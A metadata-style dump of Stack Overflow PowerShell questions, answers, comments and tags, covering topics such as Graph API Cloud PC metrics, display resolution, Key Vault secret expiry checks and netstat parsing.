has body: Below PowerShell script is using Microsoft Graph apis to pull historic data related to W365 Cloud PCs. Similarly, we need to monitor real time performance metrics (CPU, RAM, Disk) of W365 Cloud PCs. Are there any apis or PowerShell commands to fetch these parameters? The sample script we use to get CPU, RAM spike time percentage: $clientId = '' $clientSecret = '' $tenantId = '' $authority = "https://login.microsoftonline.com/$($tenantId)" $resource = "https://graph.microsoft.com" $apiVersion = "beta" $objs = @() $outputs = @() [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolTYpe]::Tls12 # Authenticate and acquire access token $tokenEndpoint = "$authority/oauth2/token" $body = @{ client_id = $clientId client_secret = $clientSecret resource = $resource grant_type = "client_credentials" } $tokenResponse = Invoke-RestMethod -Uri $tokenEndpoint -Method POST -Body $body # Get access token from the response $accessToken = $tokenResponse.access_token # Define the API endpoint $apiEndpoint ="https://graph.microsoft.com/$($apiVersion)/deviceManagement/userExperienceAnalyticsResourcePerformance" #$headers = @{ Authorization = "Bearer $($accessToken)"} <# $headers = @{ Authorization = "Bearer $($accessToken)" "Content-Type" = "application/json" } #> $headers = @{ Authorization = "Bearer $($accessToken)" Accept = "application/json" } $apiResponse = Invoke-RestMethod -Uri $apiEndpoint -Method Get -Headers $headers #-ContentType "application/json" $outputs = $apiResponse.Value | Select deviceName,model,cpuSpikeTimePercentage,ramSpikeTimePercentage,cpuSpikeTimeScore,ramSpikeTimeScore,deviceResourcePerformanceScore,averageSpikeTimeScore
tagged with: powershell
score: 0
type: UnansweredQuestion

windows-server-2022
tags question: http://stackoverflow.com/q/79136438
tag name: windows-server-2022
tags question: http://stackoverflow.com/q/79205646
type: Tag
tags question: http://stackoverflow.com/q/79462193

http://stackoverflow.com/a/79178861
type: Answer
has body: Note: I'm offering this as a general solution; you state that the first solution below doesn't report the correct resolution for one of your displays, but it is unclear why. It looks like your intent is to get the display resolution[1] of all currently connected displays in the form of a '<horizontal-pixels> x <vertical-pixels>' string, e.g. '2560 x 1600' [System.Windows.Forms.Screen]::AllScreens is indeed the right class to use, but you want the .Bounds property of each [Screen] instance returned, not the .WorkingArea property (the latter describes the rectangle comprising "the desktop area of the display, excluding taskbars, docked windows, and docked tool bars."): Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.Screen]::AllScreens | ForEach-Object { '{0} x {1}' -f $_.Bounds.Width, $_.Bounds.Height } An alternative is to use the third-party DisplayConfig module (which is Windows-only, just like the WinForms solution above),[2] which you can install with, e.g., Install-Module -Scope CurrentUser DisplayConfig: # ->, e.g., '2560 x 1600', '2880 x 1800' Get-DisplayInfo | ForEach-Object { '{0} x {1}' -f $_.Mode.Width, $_.Mode.Height } [1] Note that the solutions in this answer report the software-based resolution (the current video mode), which typically, but not always, is the same as the display-native resolution. [2] Specifically, the module is built on top of the Windows CCD (Connecting and Configuring Displays) APIs.
score: 0
answers question: http://stackoverflow.com/q/79176779

http://stackoverflow.com/comment/139498505
comment on: http://stackoverflow.com/q/79112307
type: QuestionComment
score: 2
type: Comment
has text: According to your second link, ```-ExcludeFeatures``` is a *switch* parameter (i.e. a boolean flag) - Powershell is treating the subsequent “OCR” etc as separate “positional” parameters and can’t work out what to bind them to. I don’t know how to solve your actual goal, but that’s why you’re getting the error.

initialization
tags question: http://stackoverflow.com/q/79196182
type: Tag
tag name: initialization

http://stackoverflow.com/comment/139689025
has text: @Nash so it seems it's just missing a loop, try with the update
type: Comment
comment on: http://stackoverflow.com/a/79216844
score: 0
type: AnswerComment

out-of-memory
type: Tag
tag name: out-of-memory
tags question: http://stackoverflow.com/q/79244326

http://stackoverflow.com/a/79226765
score: 1
upvote count: 1
has body: You'd need to use Set-StrictMode for this to happen, more specifically version 2.0 or above: Set-StrictMode -Version 2.0 If you look at the -Version parameter details you'd see: 2.0 Prohibits references to uninitialized variables. This includes uninitialized variables in strings. Prohibits references to non-existent properties of an object. Prohibits function calls that use the syntax for calling methods.
type: AcceptedAnswer
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/79226751
accepted answer of: http://stackoverflow.com/q/79226751

http://stackoverflow.com/comment/139585155
score: 0
has text: I think you need to use the Parse Method. Here is the code I use in c# : VMOperationalStatus vm = (VMOperationalStatus)System.Enum.Parse(typeof(VMOperationalStatus), "Ok");
comment on: http://stackoverflow.com/q/79140459
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139719797
type: Comment
has text: Glad to hear it, @user3104363; my pleasure. No, the issue wasn't that the separator was _invalid_, it' s just that if `/` is unescaped, it acts as a _placeholder_ rather than as a literal. That is, it then stands for whatever separator is customary in the current culture (see the `de-DE` example in the answer).
score: 0
comment on: http://stackoverflow.com/a/79227270
type: AnswerComment

http://stackoverflow.com/comment/139588252
type: QuestionComment
comment on: http://stackoverflow.com/q/79161585
type: Comment
score: 1
has text: pasting the script is better than image btw

http://stackoverflow.com/comment/139536526
type: Comment
score: 0
has text: Thanks for the reply, I altered my code to use this method and the issue is still occurring although now it occurs for about half of the shares that are being opened (4 out of 8).
type: AnswerComment
comment on: http://stackoverflow.com/a/79127010

scp
type: Tag
tags question: http://stackoverflow.com/q/79198075
tag name: scp

http://stackoverflow.com/comment/139680346
comment on: http://stackoverflow.com/q/79211988
type: QuestionComment
type: Comment
has text: Many answers suggest using `[char]::IsControl` reading the first X bytes from the files to determine if the file is binary or not, see for example: https://stackoverflow.com/questions/910873/how-can-i-determine-if-a-file-is-binary-or-text-in-c - to base the condition on the file's extension isnt a good approach imo.
score: 1

http://stackoverflow.com/a/79199611
answers question: http://stackoverflow.com/q/79197594
has body: I'm not aware of any setting to make the event log service render the volume label in the log entry, but you can translate the object path by resolving the volume label associated with partition X, where X is the number following \Device\HarddiskVolume: Note: the sample code below uses -replace '...', {...} syntax introduced in PowerShell 6.1 - for PowerShell 5.1 and older, see alternative syntax at the bottom of this answer $objectNameData = $eventXml.SelectSingleNode('//Event/EventData/Data[@Name="ObjectName"]') # yields "\Device\HarddiskVolume3\Temp\New Folder" $objectNameData.InnerText # yields "C:\Temp\New Folder" $objectNameData.InnerText -replace '^\\Device\\HarddiskVolume(\d+)\\',{ (Get-Partition -PartitionNumber $_.Groups[1].Value).AccessPaths.Where({$_ -like '?:\*'}, 'First')[0] } To avoid repeatedly querying WMI for the same partition over and over again, use a hashtable to cache already-resolved paths: $volumeLabelCache = @{} foreach ($eventXml in $events) { $objectPath = $eventXml.SelectSingleNode('//Event/EventData/Data[@Name="ObjectName"]').InnerText $resolvedPath = $objectPath -replace '^\\Device\\HarddiskVolume(\d+)\\',{ $partitionID = $_.Groups[1].Value if (-not $volumeLabelCache.Contains($partitionID)) { # cache volume label so we don't need to query the same partition id again $volumeLabelCache[$partitionID] = (Get-Partition -PartitionNumber $partitionID).AccessPaths.Where({$_ -like '?:\*'}, 'First')[0] if (-not $volumeLabelCache[$partitionID]){ # looks like we failed to resolve mount point from partition id, return original path return $_.Value } } # ... otherwise replace partition part of the object path with volume label return $volumeLabelCache[$partitionID] } Write-Host "Resolved path '$resolvedPath' from '$objectPath'" } For PowerShell versions older than 6.1, you can call [regex]::Replace directly to get access to inline callbacks: 'input' -replace 'pattern', { substitution code <# over $_ #> } # becomes [regex]::Replace('input', 'pattern'…
type: Answer
has comment: http://stackoverflow.com/comment/139659756
score: 0

http://stackoverflow.com/comment/139693117
comment on: http://stackoverflow.com/q/79219297
has text: Try piping to `| % ToString`. The object you mention is called `ErrorRecord`.
type: QuestionComment
type: Comment
score: 2

http://stackoverflow.com/a/79162213
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139594739
has comment: http://stackoverflow.com/comment/139594679
type: Answer
has comment: http://stackoverflow.com/comment/139593042
answers question: http://stackoverflow.com/q/79161585
has body: Keyvault secrets or keys expiry notification Here is the updated PowerShell script to fetch all key vault secrets with expiry date and displayed which secrets are going to expire in 7 days. Note: Make that your automation account identity has the Key Vault Administrator role on all your subscriptions. In my case I use automation Identity. Connect-AzAccount -Identity $allsub = Get-AzSubscription $expiringSecrets = @() $todaydate = Get-Date foreach ($subscription in $allsub) { Set-AzContext -SubscriptionId $subscription.Id $allkeyvault = Get-AzKeyVault foreach ($keyVault in$allkeyvault) { $keyvaultsecrets = Get-AzKeyVaultSecret -VaultName $keyVault.VaultName | Select-Object VaultName, Name, Expires foreach ($secret in $keyvaultsecrets) { if ($secret.Expires) { try { $secretexpirydate = [datetime]$secret.Expires $pendingdays = ($secretexpirydate - $todaydate).Days if ($pendingdays -le 7 -and $pendingdays -ge 0) { Write-Output "Secret '$($secret.Name)' in Vault '$($keyVault.VaultName)' is going to expire within 7 days, Expiration Date: $secretexpirydate." } elseif ($pendingdays -gt 7) { Write-Output "Secret '$($secret.Name)' in Vault '$($keyVault.VaultName)' is not expiring within the next 7 days. Expiration Date: $secretexpirydate." } else { Write-Output "Secret '$($secret.Name)' in Vault '$($keyVault.VaultName)' has already expired or is expired. Expired on $secretexpirydate." } } catch { Write-Output "Invalid expiry date format for secret '$($secret.Name)' in Vault '$($keyVault.VaultName)'." } } else { Write-Output "No Expiry Date: Secret '$($secret.Name)' in Vault '$($keyVault.VaultName)' does not have an expiration date set." } } } } Key vault Secrets Output
score: 0
accepted answer of: http://stackoverflow.com/q/79161585

http://stackoverflow.com/q/79185963
type: Question
answer count: 0
tagged with: google-drive-api
has title: Can't remove file after Google Drive Synchronization
tagged with: powershell
type: UnansweredQuestion
has body: On Windows after Google Drive has synchronized my backup, I can't use the cli anymore to remove a directory with rmdir unless I use force, even when running as admin. The problem is that I use a 3rd party script (from Capacitor), which calls rmdir. I've already set the permissions to full control. Now I can't keep my files synchronized, as I first need to manually remove all generated content before they can be overwritten each time a backup is made. PowerShell: You do not have sufficient access rights to perform this operation. Does anyone know how to solve this?
score: 0
tagged with: command-line-interface

http://stackoverflow.com/comment/139468903
has text: My advice is don't bother. We are not seven year olds, and aren't excited by moving pictures any more, nor do we care if you welcome us. Just use `Echo WELCOME`, followed by `%SystemRoot%\System32\timeout.exe /T 3 1>NUL` if you really do want them to have time to read that message.
comment on: http://stackoverflow.com/q/79095935
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139566258
type: QuestionComment
comment on: http://stackoverflow.com/q/79149663
type: Comment
has text: Maybe this answer can help: https://stackoverflow.com/a/29973715/2789300
score: 1

http://stackoverflow.com/a/79177514
answers question: http://stackoverflow.com/q/79177495
type: Answer
accepted answer of: http://stackoverflow.com/q/79177495
downvote count: 0
upvote count: 3
has comment: http://stackoverflow.com/comment/139617746
score: 3
has body: Set-Content adds a trailing newline when you first write the encrypted string to disk - use String.Trim() to get rid of it when reading the contents back into memory: $encryptedText = Get-Content -Path $ProfilePath -Raw |ForEach-Object Trim ... or omit -Raw and read just the first line of the file instead: $encryptedText = Get-Content -Path $ProfilePath -TotalCount 1
has comment: http://stackoverflow.com/comment/139617574
type: AcceptedAnswer

http://stackoverflow.com/comment/139722849
has text: This is awesome! Works great. I added it into function in `$PROFILE` to auto-assign the `$pipeName` to be `pty<n>` for the current *pwsh* instance, and saving ptyN to the environment variable `TTY`. However, I am not able to save the `$pipeHandle` (what you call `$server` above) into and `$env:TTYHAND` variable. (a) Any idea how to do that? (b) Also, what happens if you don't *dispose* the pipe server, and prematurely leave the shell? Does that leave the pipe hanging? (c) I see there are also name-less pipes, but not able to find out more. (`ls -Force '\\.\pipe\*'`) Any ideas?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79228955
type: Comment

http://stackoverflow.com/comment/139708095
comment on: http://stackoverflow.com/q/79227388
score: 5
type: QuestionComment
type: Comment
has text: I thought European number format used `,` as the decimal separator and `.` as the thousands separator (I'm not familiar with any numbering formats that use the same separator with multiple meanings depending on where they appear in the string).

http://stackoverflow.com/comment/139574535
has text: I forgot to mention I have tried pass token in headers and I am getting below error "message": "Authorization not supported". So I have updated the application endpoint URL to https://dc.services.visualstudio.com/v2.1/track as v2 is not supported, after update I am getting "message": "Authentication required",although I am passing the token which is valid
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79136206

http://stackoverflow.com/comment/139474004
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79098837
has text: isnt `(&(objectClass=User)(objectCategory=Person))` redundant in this case? this is already the default filter for `Get-ADUser` iirc

http://stackoverflow.com/a/79213678
has comment: http://stackoverflow.com/comment/139697027
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79213119
has body: You can use the Service Principal's credentials to authenticate a Invoke-RestMethod API request with the servicePrincipalId, servicePrincipalKey and tenantId. First, you can check the document to learn about Use service principals & managed identities in Azure DevOps. To use the Service Principal's credentials, we should add the service principal to Azure DevOps organization. Here are the steps: Find and copy the App registration name by clicking the Manage App registration in the service connection. Add the App registration to your organization in the Users page. You should be a member of the Project Collection Administrators group. Now you can use the Service Principal's credentials to make an API call from back to the same project in the azure cli task. Here are the sample YAMLs: Use az account get-access-token command to get the token. This is also mentioned in this Q&A Can I use a service principal or managed identity with Azure CLI?. - task: AzureCLI@2 inputs: azureSubscription: 'Test' scriptType: 'ps' scriptLocation: 'inlineScript' inlineScript: | Write-Host "Obtain access token for Service Connection identity..." $accessToken = az account get-access-token --resource 499b84ac-1321-427f-aa17-267ca6975798 --query "accessToken" --output tsv Write-Host "Use access token with Azure DevOps REST API to list projects in the organization..." $uri = "https://dev.azure.com/orgname/_apis/projects?api-version=7.1-preview.1" $headers = @{ Accept = "application/json" Authorization = "Bearer $accessToken" } $response =Invoke-RestMethod -Uri $uri -Headers $headers -Method Get $response | ConvertTo-Json Use the servicePrincipalId, servicePrincipalKey and tenantId to get the token. - task: AzureCLI@2 displayName: Use servicePrincipalId, servicePrincipalKey and tenantId inputs: azureSubscription: 'Test' scriptType: 'ps' addSpnToEnvironment: true scriptLocation: 'inlineScript' inlineScript: | $tenantId = $env:tenantId $clientId = $env:servicePrincipalId $clientSecret = $env:servi…
type: Answer
has comment: http://stackoverflow.com/comment/139685338
score: 0
answers question: http://stackoverflow.com/q/79213119

http://stackoverflow.com/comment/139516540
comment on: http://stackoverflow.com/q/79122039
has text: Skip `| ConvertTo-Json -Compress` - otherwise you end up with an escaped JSON document embedded in a string when `Invoke-RestMethod` converts the whole body to JSON
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/139593191
comment on: http://stackoverflow.com/q/79162911
score: 0
has text: You can install the Threadjob module in powershell 5.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139432758
comment on: http://stackoverflow.com/q/79076344
has text: What is the server Powershell version? `UserName` added to the result starting from Powershell 6.0
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/139510992
type: Comment
score: 0
has text: This is a windows issue and not PS. The problems has existed with Microsoft OS since DOS.
comment on: http://stackoverflow.com/q/79119400
type: QuestionComment

http://stackoverflow.com/comment/139695093
comment on: http://stackoverflow.com/q/79220211
has text: That is a very interesting find, but not quite. Because it requires you to keep *something* running (the *while* loop) on the other end, waiting for data. If there were a way to get this directly into the output buffer of the pipe, maybe it could be useful. I think this solution would require a some kind of asynchronous event handler and delegate, so that the other end can do other things and doesn't need to sit around and wait for data. At the end of the day, I just want to *inject* (in a lack for better word) a string into the screen text buffer on the other end, as it's done in *nix OS.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139647876
comment on: http://stackoverflow.com/a/79193803
type: AnswerComment
has text: Hello expert, Yes you are right. It git fixed. Thanks much for your reply.
type: Comment
score: 0

http://stackoverflow.com/comment/139613239
type: QuestionComment
comment on: http://stackoverflow.com/q/79174610
type: Comment
score: 0
has text: First of all hello. @Theo, in excel, each row is like this: on column A is given as day/month/year, on column C the document number and on K is the name of the partner. 01.02.2024 - 4445 - STACK. The file for this event will be this: 2024 02 01_FF 4445_STACK.pdf. @ Luuk, can you be a little more explicit please? Thank you.

dependencies
type: Tag
tags question: http://stackoverflow.com/q/79173069
tag name: dependencies

http://stackoverflow.com/comment/139756253
type: Comment
score: 0
has text: @Dave Please see my edited answer where I have added extra columns for a possible second hard drive
comment on: http://stackoverflow.com/a/79211175
type: AnswerComment

http://stackoverflow.com/comment/139472251
score: 0
has text: Have you tried exact my code?
type: AnswerComment
comment on: http://stackoverflow.com/a/79097057
type: Comment

http://stackoverflow.com/q/79216317
has title: Completely uninstall an application on Windows using powershell
upvote count: 2
answer count: 0
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139687922
score: 2
has body: I am trying to uninstall osquery and other apps on some problematic devices and want to use powershell to do so. I have thousands of computers I need to apply this to so manually uninstalling is not an option. Is there a Windows utility that does deep uninstall like TotalUninstall or Revo Uninstaller that can be scripted with power shell? I already have a script that uses the basic powershell commands to uninstall the applications but it doesn't work consistently. I also use the WMI system to uninstall the package and it's not working on all devices. Some research I've done: https://linuxhaxor.net/code/uninstall-software-using-powershell.html https://www.technewstoday.com/powershell-uninstall-software/ https://github.com/pldmgg/ProgramManagement https://github.com/avwrgit123/Windows-Install-and-Uninstall-Software-Script https://github.com/ShadowWhisperer/AppExorcist/tree/main I'd like to explore all options for uninstalling applications on Windows using powershell. In particular if I can replicate the advanced uninstallers and how they work with a powershell script or find an uninstaller that can be scripted with powershell.
type: UnansweredQuestion
tagged with: windows
favorite count: 0
tagged with: uninstallation
has comment: http://stackoverflow.com/comment/139697342
type: Question

http://stackoverflow.com/comment/139666614
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79201871
type: Comment
has text: @JustinBrunkow glad it helped :)

http://stackoverflow.com/comment/139681713
type: AnswerComment
comment on: http://stackoverflow.com/a/79204060
type: Comment
has text: The problem remains the same, it tries to take `$POD_NAME:8080` as the variable name, as `/` is considered to be the end of the variable, but `:` isn't.
score: 0

http://stackoverflow.com/comment/139731043
comment on: http://stackoverflow.com/q/79240454
score: 1
has text: Seems kinda ludicrous that you would use C# to eventually run a powershell script, when powershell is basically C#
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139457371
type: QuestionComment
type: Comment
score: 0
has text: Yeah, that works fine. Your code compiles using typedefinition even in powershell 5.1 (c# 5 compiler)
comment on: http://stackoverflow.com/q/79089859

http://stackoverflow.com/comment/139714997
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79231195
has text: Does `New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest` work?
score: 1

http://stackoverflow.com/comment/139503610
score: 0
comment on: http://stackoverflow.com/q/79115375
type: QuestionComment
type: Comment
has text: Try replacing '|' with '`|'. The backtick will escape the pipe character.

http://stackoverflow.com/comment/139637060
type: Comment
has text: That's because that is what your original script would have done if it'd worked. :) You'd need adjust the script to first loop through the records generating the `-whatif` results, then outside the `foreach` loop get confirmation, and if `Y` is selected have a second `foreach` loop to do those same commands a second time, but without the `-WhatIf` parameter. See my edit above.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79185659

http://stackoverflow.com/comment/139598841
score: 0
has text: Thank you so much for looking into it. I understand what you mean. I'm actually working within a remote environment where I use Citrix to connect to Azure desktop and inside I use Remote Desktop connection.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79164514

http://stackoverflow.com/comment/139549463
type: QuestionComment
type: Comment
score: 0
has text: For a work-around: run Powershell in a system that's fully English. Most management cmdlets support remote targets.
comment on: http://stackoverflow.com/q/79140459

http://stackoverflow.com/comment/139574716
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79153871
score: 0
has text: what roles are you referring to

http://stackoverflow.com/q/79173045
tagged with: powershell
score: 0
has comment: http://stackoverflow.com/comment/139615271
has comment: http://stackoverflow.com/comment/139609853
type: UnansweredQuestion
tagged with: numbers
has comment: http://stackoverflow.com/comment/139610820
has body: Hi all i'm coding an application to rename music files (.mp3) located locally on my server; as it stands i have been very succesful on doing this when all the music files are stored on the PC. However my problem occurrs when using the same code to rename the files stored on the server it does something different. My music files are stored as: 01 Track1.mp3 02 Track2.mp3 03 Track3.mp3 04 Track4.mp3 05 Track5.mp3 What I Want to have is a fullstop after the number: 01. Track1.mp3 02. Track2.mp3 03. Track3.mp3 04. Track4.mp3 05. Track5.mp3 All the files also have the track number stored in the hashtag column inside file explorer which are correct, as said this code works perfect when the files are stored on the pc. What I get when renaming the files stored on the server is: 02. Track1.mp3 04. Track2.mp3 05. Track3.mp3 01. Track4.mp3 03. Track5.mp3 It seems to rearrange the files to a random sort order then adds the sequential numbering which puts them out of order see pic below. I have also tried renaming the files so that all the files have the same name but with a number at the end to put them into an alphabetical order, but yet still does a random re-order. Correct when done on PC Incorrect When done On Server I'm using visual basic to code this application. the code that I am using is: Dim Process As New ProcessStartInfo() With {.UseShellExecute = True, .FileName = "powershell", .WorkingDirectory = Pathtb.Text, .WindowStyle = ProcessWindowStyle.Hidden, .Arguments = "$i = [ref]1; gci *" & My.Settings.CustomEXT & " | rename-item -NewName {'{0:D" & My.Settings.CustomNumb & "}. {1}' -f $i.value++, $_.Name} "} Using p As New Process() p.StartInfo = Process p.Start() p.WaitForExit() End Using I have pasted this code directly into powershell itself and it still gives the same random outcome which leads to me to believe its a file explorer issue somewhere and not the code itself. I haven't done coding for a very long time so nothing is jumping out at me as to why it's doing…
has comment: http://stackoverflow.com/comment/139609831
tagged with: sequential
has title: Add sequential numbering to music files using powershell via an app
type: Question
answer count: 0

http://stackoverflow.com/comment/139655996
has text: Could you include what error you are facing when you run it in Azure Function?
comment on: http://stackoverflow.com/q/79193052
type: QuestionComment
type: Comment
score: 0

http-headers
type: Tag
tag name: http-headers
tags question: http://stackoverflow.com/q/79162018

http://stackoverflow.com/comment/139613388
score: 3
has text: @SantiagoSquarzon: My comment was a comment to `K-J`, and to let the readers know that `cmd /c echo %PATHEXT%` is not producing `.cpl`
type: AnswerComment
comment on: http://stackoverflow.com/a/79172045
type: Comment

http://stackoverflow.com/comment/139606701
comment on: http://stackoverflow.com/a/79170255
type: Comment
score: 0
has text: This might help but do not know if I can do anything on my end: "Message": "BinaryFormatter serialization and deserialization are disabled within this application. See https://aka.ms/binaryformatter for more information.",
type: AnswerComment

http://stackoverflow.com/comment/139516032
score: 0
has text: The `$path` variable does not appear to be set. It is not clear how a 'TAG` integrates with the initial code?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79122136

http://stackoverflow.com/comment/139738901
comment on: http://stackoverflow.com/q/79227817
type: QuestionComment
type: Comment
score: 0
has text: @js2010 AH! Thank you! Piping the output to `Format-List` gives me exactly what I was looking for.

http://stackoverflow.com/comment/139525900
score: 0
comment on: http://stackoverflow.com/q/79126566
has text: That's mysterious. I suspect that no one will be able to help you without an [mcve].
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139683815
has text: Please properly [format your post](https://stackoverflow.com/editing-help), besides I recomment you to add an **actual** and an **expected** output example. See also [how to ask](https://stackoverflow.com/help/how-to-ask)
type: QuestionComment
comment on: http://stackoverflow.com/q/79213372
type: Comment
score: 0

command-line
tags question: http://stackoverflow.com/q/79186427
tags question: http://stackoverflow.com/q/79174496
tag name: command-line
tags question: http://stackoverflow.com/q/79111405
tags question: http://stackoverflow.com/q/79193883
type: Tag
tags question: http://stackoverflow.com/q/79344043
tags question: http://stackoverflow.com/q/79273085
tags question: http://stackoverflow.com/q/79381522
tags question: http://stackoverflow.com/q/79475564

http://stackoverflow.com/comment/139638758
type: QuestionComment
type: Comment
score: 0
has text: If a folder doesnt have a `.cpp` file in it, should it be deleted?
comment on: http://stackoverflow.com/q/79188988

com
tag name: com
type: Tag
tags question: http://stackoverflow.com/q/79234580
tags question: http://stackoverflow.com/q/79211810
tags question: http://stackoverflow.com/q/79269924
tags question: http://stackoverflow.com/q/79532796
tags question: http://stackoverflow.com/q/79494921

http://stackoverflow.com/comment/139702694
type: Comment
has text: @alx9r, please see footnote [2] I've just added to the answer.
comment on: http://stackoverflow.com/a/79201672
score: 1
type: AnswerComment

http://stackoverflow.com/a/79138686
has body: Try following $filename = "c:\temp\test.txt" $lines = Get-Content -Path $filename $patternAP = 'Target:\s+(?<ap>[^\s]+)' $patternBss = '^(?<bss>[a-z]{2}:[a-z]{2}:[a-z]{2}:[a-z]{2}:[a-z]{2}:[a-z0-9]{2})\s+(?<ess>[^\s]+)\s+(?<port>[^\s]+)\s+(?<ip>[^\s]+)\s+(?<band>[^\s]+)\s+(?<ch>[^\s]+)\s+(?<type>[^\s]+)\s+(?<cur>[^\s]+)\s+(?<apname>[^\s]+)\s+(?<in>[^\s]+)\s+(?<tot>[^\s]+)\s+(?<flags>[^\s]+)' $table = [System.Collections.Generic.List[pscustomobject]]::new() foreach($line in $lines) { if($line -match $patternAP) { $line -match $patternAP | Out-Null $ap = $matches.ap } ` else { if($line -match $patternBss) { $line -match $patternBss | Out-Null if($matches.ess -eq 'guest') { $newRow = [pscustomobject]@{ ap = $ap bss = $matches.bss ess = $matches.ess port = $matches.port ip = $matches.ip 'band/ht-mode/bandwidth' = $matches.band 'ch/EIRP/max-EIRP' = $matches.ch type = $matches.type 'curl-cl' = $matches.cur 'ap name' = $matches.apname 'in-t(s)' = $matches.in 'tot-t' = $matches.tot 'flags' = $matches.flags } $table.Add($newRow) | Out-Null } } } } $table | format-list Results ap : AP01 bss : ab:cd:ef:gh:if:jk ess : guest port : ?/? ip : A.b.c.d band/ht-mode/bandwidth : 2.4GHz/HT/20MHz ch/EIRP/max-EIRP : 1/24.0/25.5 type : ap curl-cl : 0 ap name : AP01 in-t(s) : 0 tot-t : 22h:11m:43s flags : - ap : AP01 bss : ab:cd:ef:gh:if:jk ess : guest port : ?/? ip : A.b.c.d band/ht-mode/bandwidth : 5GHz/VHT/40MHz ch/EIRP/max-EIRP : 100+/18.0/30.0 type : ap curl-cl : 0 ap name : AP01 in-t(s) : 0 tot-t : 22h:11m:44s flags : - ap : AP02 bss : ab:cd:ef:gh:if:jm ess : guest port : ?/? ip : A.b.c.d band/ht-mode/bandwidth : 2.4GHz/HT/20MHz ch/EIRP/max-EIRP : 11/24.0/25.5 type : ap curl-cl : 0 ap name : AP02 in-t(s) : 0 tot-t : 22h:11m:43s flags : - ap : AP02 bss : ab:cd:ef:gh:if:jq ess : guest port : ?/? ip : A.b.c.d band/ht-mode/bandwidth : 5GHz/VHT/40MHz ch/EIRP/max-EIRP : 108+/18.0/30.0 type : ap curl-cl : 0 ap name : AP02 in-t(s) : 0 tot-t : 22h:11m:43s flags : - After reviewing code I foun…
score: 0
answers question: http://stackoverflow.com/q/79138278
type: Answer

certificate
tags question: http://stackoverflow.com/q/79204361
type: Tag
tag name: certificate
tags question: http://stackoverflow.com/q/79305652
tags question: http://stackoverflow.com/q/79277716

http://stackoverflow.com/comment/139503970
type: Comment
comment on: http://stackoverflow.com/q/79115375
score: 1
has text: The code you're showing wouldn't produce the syntax errors you're showing; you'll need to provide more information.
type: QuestionComment

http://stackoverflow.com/q/79077437
tagged with: powershell
tagged with: object
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139434881
accepted answer: http://stackoverflow.com/a/79077603
has answer: http://stackoverflow.com/a/79077603
has answer: http://stackoverflow.com/a/79077802
score: 0
answer count: 2
possible better answer: http://stackoverflow.com/a/79077802
has comment: http://stackoverflow.com/comment/139434658
tagged with: properties
has title: Updating hash table value in array of hash table in PowerShell
has body: I want to add/update property of object in array. I have array of objects, where i want to add property 'id' with value from range. [array] $idRange= @(1, 2, 3) [hashtable[]] $aoo= @(@{})*$idRange.Count foreach ($id in $idRange) { $i = $idRange.IndexOf($id) $aoo[$i].set_Item('id', $id) } Expected result is to have @(@{'id'=1}, @{'id'=2}, @{'id'=3}) but .set_Item writes in all items in array and over iterating values are like @(@{'id'=1}, @{'id'=1}, @{'id'=1}) @(@{'id'=2}, @{'id'=2}, @{'id'=2}) @(@{'id'=3}, @{'id'=3}, @{'id'=3}) what am I doing wrong?
tagged with: arrays
type: Question

http://stackoverflow.com/comment/139504293
type: QuestionComment
type: Comment
has text: Regardless to the error '|' can be replaced with "|"
score: 0
comment on: http://stackoverflow.com/q/79115375

http://stackoverflow.com/a/79195116
answers question: http://stackoverflow.com/q/79189293
type: Answer
downvote count: 0
has body: We can take the desired output from netstat and parse it into objects. $stats = netstat -anob | out-string $statlist = [regex]::Matches($stats,'(?s)(TCP|UDP).+?(Can not.+?|])(?=\r?\n)').value $results = foreach($entry in $statlist ){ switch -Regex ($entry -split '\r?\n'){ '(?&lt;Protocol&gt;TCP|UDP)\s+(?&lt;LocalAddr&gt;\S+?)\s+(?&lt;ForeignAddr&gt;\S+?)\s+(?&lt;State&gt;\S+)?\s+?(?&lt;PID&gt;\d+)$' { if($current){ $current.Protocol += $matches.protocol $current.LocalAddr += $matches.LocalAddr $current.ForeignAddr += $matches.ForeignAddr $current.State += $matches.State $current.PID += $matches.PID } else{ $current = @{} 'Protocol', 'LocalAddr', 'ForeignAddr', 'State', 'Pid' | ForEach-Object{ $current.$_ = @() $current.$_ += $matches.$_ } $current.Parent = '' $current.Executable = '' } } '^\s{2}(?&lt;Parent&gt;[\S|^\.|^:]+)$' { if($current.Parent){ $current.Parent = $current.Parent,$matches.parent -join ' -&gt; ' } else{ $current.Parent = $matches.parent } } '^\s(\[(?&lt;Exe&gt;\S+)\]|(?&lt;Exe&gt;Can not obtain ownership information))'{ for($i = 0;$i -lt $current.Protocol.Count; $i++){ [PSCustomObject]@{ Protocol = $current.Protocol[$i] LocalAddr = $current.LocalAddr[$i] ForeignAddr = $current.ForeignAddr[$i] Executable = $matches.Exe Parent = $current.Parent State = $current.State[$i] ProcessId = $current.PID[$i] } } $current = $null } } } You can view the data interactively $results | Out-GridView Export to csv $results | Export-CSV path\to\csv If you know the name of the parent you can filter PS C:\&gt; $results | Where-Object Parent -like '*TermService*' | Format-Table * Protocol LocalAddr ForeignAddr Executable Parent State ProcessId -------- --------- ----------- ---------- ------ ----- --------- TCP 